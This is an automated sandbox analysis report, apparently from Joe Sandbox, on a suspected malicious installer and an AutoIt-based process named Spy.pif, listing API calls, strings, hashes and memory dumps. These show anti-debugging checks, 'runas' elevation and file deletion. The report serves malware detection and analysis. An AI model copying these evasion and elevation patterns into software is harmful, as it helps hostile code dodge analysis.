Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(Sleep(4921),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

Sleep(4921), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: Sleep(4921)
API String ID: 3509786178-3001734206
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: Spy.pifPID: 6808, Parent PID: 1976COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	97

Executed Functions

Function 00A95240 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 147
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00A9526C
IsDebuggerPresent.KERNEL32 ref: 00A9527E
GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00A952E6

Part of subcall function 00A91821: _memmove.LIBCMT ref: 00A9185B

Part of subcall function 00A8BBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00A8BC07

SetCurrentDirectoryW.KERNEL32(?), ref: 00A95366
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse user this program.,AutoIt,00000010), ref: 00AD0B2E
SetCurrentDirectoryW.KERNEL32(?), ref: 00AD0B66
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00B36D10), ref: 00AD0BE9
ShellExecuteW.SHELL32(00000000), ref: 00AD0BF0

Part of subcall function 00A9514C: GetSysColorBrush.USER32(0000000F), ref: 00A95156
Part of subcall function 00A9514C: LoadCursorW.USER32(00000000,00007F00), ref: 00A95165
Part of subcall function 00A9514C: LoadIconW.USER32(00000063), ref: 00A9517C
Part of subcall function 00A9514C: LoadIconW.USER32(000000A4), ref: 00A9518E
Part of subcall function 00A9514C: LoadIconW.USER32(000000A2), ref: 00A951A0
Part of subcall function 00A9514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00A951C6
Part of subcall function 00A9514C: RegisterClassExW.USER32(?), ref: 00A9521C

Part of subcall function 00A950DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00A95109
Part of subcall function 00A950DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00A9512A
Part of subcall function 00A950DB: ShowWindow.USER32(00000000), ref: 00A9513E
Part of subcall function 00A950DB: ShowWindow.USER32(00000000), ref: 00A95147

Part of subcall function 00A959D3: _memset.LIBCMT ref: 00A959F9
Part of subcall function 00A959D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00A95A9E

Strings

runas, xrefs: 00AD0BE4
AutoIt, xrefs: 00AD0B23
It is a violation of the AutoIt EULA to attempt to reverse user this program., xrefs: 00AD0B28

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse user this program.$runas
API String ID: 529118366-2030392706
Opcode ID: 03ed5dda570f68d1267930eac6bbe5ad4e90f28a2d6b908da8b7f9e9c5c848cc
Instruction ID: e8e6f5b6e9fb942f630f8181ddf3142afaa8d697d5abbd515deda216aa4494b1
Opcode Fuzzy Hash: 03ed5dda570f68d1267930eac6bbe5ad4e90f28a2d6b908da8b7f9e9c5c848cc
Instruction Fuzzy Hash: 3151D331F48249AACF12BBB0DD56EEE7BF8AB06340F1041A5F451672A2DFF04A45DB61

Function 00AE3CE2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AA0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00A92A58,?,00008000), ref: 00AA02A4

Part of subcall function 00AE4FEC: GetFileAttributesW.KERNEL32(?,00AE3BFE), ref: 00AE4FED

FindFirstFileW.KERNEL32(?,?), ref: 00AE3D96
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00AE3E3E
MoveFileW.KERNEL32(?,?), ref: 00AE3E51
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00AE3E6E
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00AE3E90
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00AE3EAC

Strings

\*.*, xrefs: 00AE3D41, 00AE3D4A, 00AE3D5F

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 2820d31bf6d182582c4186fe0210119c506c70d5d6e488688fecd6fb842ddf7a
Instruction ID: a28d5492202e2e9f3c7797d07a58f4a66356aba9d15a2f9e6ca369363041c33b
Opcode Fuzzy Hash: 2820d31bf6d182582c4186fe0210119c506c70d5d6e488688fecd6fb842ddf7a
Instruction Fuzzy Hash: 0E516F3290118EAACF15FBA1CA969EDB7B9AF15300F604165E442B7192EF316F09CB60

Function 00A95D13 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00A95D40

Part of subcall function 00A91821: _memmove.LIBCMT ref: 00A9185B

GetCurrentProcess.KERNEL32(?,00B10A18,00000000,00000000,?), ref: 00A95E07
IsWow64Process.KERNEL32(00000000), ref: 00A95E0E
GetNativeSystemInfo.KERNEL32(00000000), ref: 00A95E54
FreeLibrary.KERNEL32(00000000), ref: 00A95E5F
GetSystemInfo.KERNEL32(00000000), ref: 00A95E90
GetSystemInfo.KERNEL32(00000000), ref: 00A95E9C

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 74f677873b4f88830c9341a24a55d1da4bfdf0c28275d86a76e4384fb324f96b
Instruction ID: 3c24dc03dd3468ec0d0f384a6a8e13fea7210a64abde9ecfb2912f123df70c0d
Opcode Fuzzy Hash: 74f677873b4f88830c9341a24a55d1da4bfdf0c28275d86a76e4384fb324f96b
Instruction Fuzzy Hash: 0591F531A4DBC0DECB32DB7884515AAFFF56F2A300B884A5ED0C793B01D631AA48C759

Function 00AE4005 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AA0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00A92A58,?,00008000), ref: 00AA02A4

Part of subcall function 00AE4FEC: GetFileAttributesW.KERNEL32(?,00AE3BFE), ref: 00AE4FED

FindFirstFileW.KERNEL32(?,?), ref: 00AE407C
DeleteFileW.KERNEL32(?,?,?,?), ref: 00AE40CC
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00AE40DD
FindClose.KERNEL32(00000000), ref: 00AE40F4
FindClose.KERNEL32(00000000), ref: 00AE40FD

Strings

\*.*, xrefs: 00AE404E

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 90c511c713a70832f4a5b14ea93fdac5765d99c368986db313b4cc607832e060
Instruction ID: 888f0342082a9c605c41eec3fd1db383906d8d2ddbb4bd2acbfcb1fd27db5c68
Opcode Fuzzy Hash: 90c511c713a70832f4a5b14ea93fdac5765d99c368986db313b4cc607832e060
Instruction Fuzzy Hash: 3F316B311183869BC601FF60C9958EFB7ECBE95304F444A2DF5E183191EB349A09CBA2

Function 00AE4148 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00AE416D
Process32FirstW.KERNEL32(00000000,?), ref: 00AE417B
Process32NextW.KERNEL32(00000000,?), ref: 00AE419B
CloseHandle.KERNEL32(00000000), ref: 00AE4245

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: a6c4572d20236872cc9c0d313972dc3c6728003f85d3c35edf2e5b684d458bef
Instruction ID: 809da9100080e913a2fea625fcfaa4f535d82724a54a2637d66787943de75e64
Opcode Fuzzy Hash: a6c4572d20236872cc9c0d313972dc3c6728003f85d3c35edf2e5b684d458bef
Instruction Fuzzy Hash: 5C3181712083429FD700EF55D885AEFBBF8AF99350F40092DF585C31A1EB719A49CB52

Function 00A8B020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 00A93740: CharUpperBuffW.USER32(?,00B471DC,00000000,?,00000000,00B471DC,?,00A853A5,?,?,?,?), ref: 00A9375D

_memmove.LIBCMT ref: 00A8B68A

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: BuffCharUpper_memmove
String ID:
API String ID: 2819905725-0
Opcode ID: 94a44c880c36d04af648ddf60eee2cd81e5e54828101e9a9e8fdc92d43a529a7
Instruction ID: 9c3aa79ecc67209427fff7130a390d0fe83b3e4967153dba67dd5366c1451fd1
Opcode Fuzzy Hash: 94a44c880c36d04af648ddf60eee2cd81e5e54828101e9a9e8fdc92d43a529a7
Instruction Fuzzy Hash: C4A278716183419FCB24EF18C580B2AB7F1BF89304F15896DE89A8B361D771ED45CBA2

Function 00AE494A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00ACFC86), ref: 00AE495A
FindFirstFileW.KERNEL32(?,?), ref: 00AE496B
FindClose.KERNEL32(00000000), ref: 00AE497B

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 4f563899515d1870f5f126080455320547aaed77223aed4752adcb03144b08f9
Instruction ID: a693949508d0b37af7e21b2ba180a89f261ffeabda5eb766d2e105a75b88cb90
Opcode Fuzzy Hash: 4f563899515d1870f5f126080455320547aaed77223aed4752adcb03144b08f9
Instruction Fuzzy Hash: 0EE0DF31820515AB82107B38EC0D8EA775C9E0A339F904705F835E20E0EBB49D9886D6

Function 00A894E0 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e826f4daabdb17ad8ff0d7c2386d32a7c7eafbb70d68a8baa36b4f354344b67
Instruction ID: 2ebb767ceeb2b24ec00bc17f2786968d34e47810da72785bc6a26556a21aa6db
Opcode Fuzzy Hash: 9e826f4daabdb17ad8ff0d7c2386d32a7c7eafbb70d68a8baa36b4f354344b67
Instruction Fuzzy Hash: 0A229C74A00206DFDB24EF58C580BBFB7B0FF49310F198169E856AB391E770A985CB91

Function 00A8BC70 Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00A8BF57

Part of subcall function 00A852B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00A852E6

Sleep.KERNEL32(0000000A,?,?), ref: 00AC36B5

Strings

@GUI_CTRLID, xrefs: 00AC376C
@GUI_WINHANDLE, xrefs: 00AC37C1
@COM_EVENTOBJ, xrefs: 00AC3D2E
@TRAY_ID, xrefs: 00AC3FCD
@GUI_CTRLHANDLE, xrefs: 00AC3816
CALL, xrefs: 00A8C277

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

